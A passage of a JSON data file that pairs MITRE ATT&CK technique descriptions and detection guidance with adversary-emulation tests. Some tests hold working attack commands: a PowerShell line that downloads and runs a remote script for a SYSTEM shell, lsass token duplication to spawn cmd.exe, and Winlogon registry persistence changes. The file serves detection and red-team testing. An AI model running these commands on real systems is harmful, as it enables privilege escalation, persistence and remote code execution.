- "source_name": "mitre-attack"
- },
- {
- "source_name": "Microsoft Hook Overview",
- "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "source_name": "Adlice Software IAT Hooks Oct 2014",
- "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
- "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
- },
- {
- "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
- "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
- "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
- },
- {
- "source_name": "HighTech Bridge Inline Hooking Sept 2011",
- "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
- "url": "https://www.exploit-db.com/docs/17802.pdf"
- },
- {
- "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
- "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
- "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
- },
- {
- "source_name": "Symantec Windows Rootkits",
- "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
- "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
- },
- {
- "source_name": "Volatility Detecting Hooks Sept 2012",
- "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
- "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
- },
- {
- "source_name": "PreKageo Winhook Jul 2011",
- "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
- "url": "https://github.com/prekageo/winhook"
- },
- {
- "source_name": "Jay GetHooks Sept 2011",
- "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
- "url": "https://github.com/jay/gethooks"
- },
- {
- "source_name": "Zairon Hooking Dec 2006",
- "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
- "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
- },
- {
- "source_name": "EyeofRa Detecting Hooking June 2017",
- "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
- "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
- },
- {
- "source_name": "GMER Rootkits",
- "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
- "url": "http://www.gmer.net/"
- },
- {
- "source_name": "Microsoft Process Snapshot",
- "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
- },
- {
- "source_name": "StackExchange Hooks Jul 2012",
- "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
- "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
- }
- ],
- "modified": "2020-11-10T18:29:30.516Z",
- "name": "Hooking",
- "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1547.011": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a",
- "created": "2020-01-24T20:02:59.149Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.011",
- "url": "https://attack.mitre.org/techniques/T1547/011"
- },
- {
- "source_name": "fileinfo plist file description",
- "url": "https://fileinfo.com/extension/plist",
- "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."
- },
- {
- "source_name": "wardle artofmalware volume1",
- "url": "https://taomm.org/vol1/pdfs.html",
- "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist
, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES
key combined with a path to a malicious dylib under the EnvironmentVariables
key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment
key in the application's Info.plist
file.(Citation: wardle artofmalware volume1)",
- "modified": "2022-04-20T21:06:07.560Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Plist Modification",
- "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents
, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
, and an application's Info.plist
. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts
and ~/Library/Preferences
. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Service: Service Creation",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1548": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
- "type": "attack-pattern",
- "created": "2020-01-30T13:58:14.373Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548",
- "url": "https://attack.mitre.org/techniques/T1548"
- }
- ],
- "modified": "2022-03-21T19:01:25.043Z",
- "name": "Abuse Elevation Control Mechanism",
- "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for /usr/libexec/security_authtrampoline
executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT
and LOG_OUTPUT
directives in the /etc/sudoers
file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Process: Process Metadata",
- "Process: OS API Execution",
- "File: File Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1134.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vadim Khrykov"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
- "type": "attack-pattern",
- "created": "2020-02-18T16:48:56.582Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.002",
- "url": "https://attack.mitre.org/techniques/T1134/002"
- },
- {
- "source_name": "Microsoft RunAs",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)",
- "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021."
- },
- {
- "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
- "source_name": "Microsoft Command-line Logging"
- }
- ],
- "modified": "2021-10-17T14:51:48.978Z",
- "name": "Create Process with Token",
- "description": "Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW
and runas
.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas
command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW
and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control",
- "System access controls",
- "File system access controls"
- ],
- "identifier": "T1134.002"
- },
- "atomic_tests": [
- {
- "name": "Access Token Manipulation",
- "auto_generated_guid": "dbf4f5a9-b8e0-46a3-9841-9ad71247239e",
- "description": "This Action demonstrates how an access token for a specific program can spawn another program under a different owner. \nAdversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. \nThis Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-ExecutionPolicy -Scope Process Bypass -Force\n$owners = @{}\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}\nGet-Process | Select ProcessName,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}}\n$PathToAtomicsFolder\\T1134.002\\src\\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,\"cmd.exe\")\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique",
- "auto_generated_guid": "ccf4ac39-ec93-42be-9035-90e2f26bcd92",
- "description": "Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem",
- "name": "powershell"
- }
- }
- ]
- },
- "T1548.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
- "created": "2020-01-30T14:11:41.212Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548.001",
- "url": "https://attack.mitre.org/techniques/T1548/001"
- },
- {
- "source_name": "GTFOBins Suid",
- "url": "https://gtfobins.github.io/#+suid",
- "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022."
- },
- {
- "source_name": "OSX Keydnap malware",
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017."
- },
- {
- "source_name": "setuid man page",
- "url": "http://man7.org/linux/man-pages/man2/setuid.2.html",
- "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod
command can set these bits with bitmasking, chmod 4777 [file]
or via shorthand naming, chmod u+s [file]
. This will enable the setuid bit. To enable the setgit bit, chmod 2775
and chmod g+s
can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l
. The find
command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null
can be used to find files with setuid set and find / -perm +2000 2>/dev/null
may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
- "modified": "2022-04-19T15:07:53.060Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Abuse Elevation Control Mechanism: Setuid and Setgid",
- "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Modification",
- "File: File Metadata"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1548.001"
- },
- "atomic_tests": []
- },
- "T1547.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
- "created": "2020-01-24T16:59:59.688Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.004",
- "url": "https://attack.mitre.org/techniques/T1547/004"
- },
- {
- "source_name": "Cylance Reg Persistence Sept 2013",
- "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
- "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/579.html",
- "source_name": "capec",
- "external_id": "CAPEC-579"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\
and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\
are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
- "modified": "2022-04-20T16:32:14.691Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Winlogon Helper DLL",
- "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.004"
- },
- "atomic_tests": [
- {
- "name": "Winlogon Shell Key Persistence - PowerShell",
- "auto_generated_guid": "bf9f9d65-ee4d-4c3e-a843-777d04f19c38",
- "description": "PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon Userinit Key Persistence - PowerShell",
- "auto_generated_guid": "fb32c935-ee2e-454b-8fa3-1c46b42e8dfb",
- "description": "PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon Notify Key Logon Persistence - PowerShell",
- "auto_generated_guid": "d40da266-e073-4e5a-bb8b-2b385023e5f9",
- "description": "PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.\n\nUpon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of notification package to execute",
- "type": "path",
- "default": "C:\\Windows\\Temp\\atomicNotificationPackage.dll"
- }
- },
- "executor": {
- "command": "New-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" \"logon\" \"#{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon HKLM Shell Key Persistence - PowerShell",
- "auto_generated_guid": "95a3c42f-8c88-4952-ad60-13b81d929a9d",
- "description": "PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Winlogon HKLM Userinit Key Persistence - PowerShell",
- "auto_generated_guid": "f9b8daff-8fa7-4e6a-a1a7-7c14675a545b",
- "description": "PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_to_execute": {
- "description": "Path of binary to execute",
- "type": "path",
- "default": "C:\\Windows\\System32\\cmd.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Userinit\" \"Userinit.exe, #{binary_to_execute}\" -Force\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1546.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
- "type": "attack-pattern",
- "created": "2020-01-24T15:05:58.384Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.012",
- "url": "https://attack.mitre.org/techniques/T1546/012"
- },
- {
